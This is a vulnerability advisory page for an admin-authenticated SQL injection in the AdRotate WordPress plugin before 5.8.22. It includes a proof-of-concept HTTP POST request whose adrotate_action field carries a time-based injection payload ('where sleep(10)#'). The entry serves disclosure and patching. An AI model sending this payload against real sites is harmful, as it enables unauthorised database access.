Lucene search

K
wpvulndbJrXnmWPVDB-ID:7DF70F49-547F-4BDB-BF9B-2E06F93488C6
HistoryFeb 07, 2022 - 12:00 a.m.

AdRotate < 5.8.22 - Admin+ SQL Injection

2022-02-0700:00:00
JrXnm
wpscan.com
12
adrotate
sql injection
admin
security
vulnerability
wordpress

EPSS

0.001

Percentile

37.7%

The plugin does not sanitise and escape the adrotate_action before using it in a SQL statement via the adrotate_request_action function available to admins, leading to a SQL injection

PoC

Get the nonce from one of the bulk action, for example /wp-admin/admin.php?page=adrotate and look for adrotate_nonce in the source POST /wp-admin/ HTTP/1.1 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 107 Connection: close Cookie: [admin+] adrotate_action_submit=1&adrotate;_nonce=07d896329d&adrotate;_action=renew-1 where sleep(10)#&bannercheck;[]=1

EPSS

0.001

Percentile

37.7%

Related for WPVDB-ID:7DF70F49-547F-4BDB-BF9B-2E06F93488C6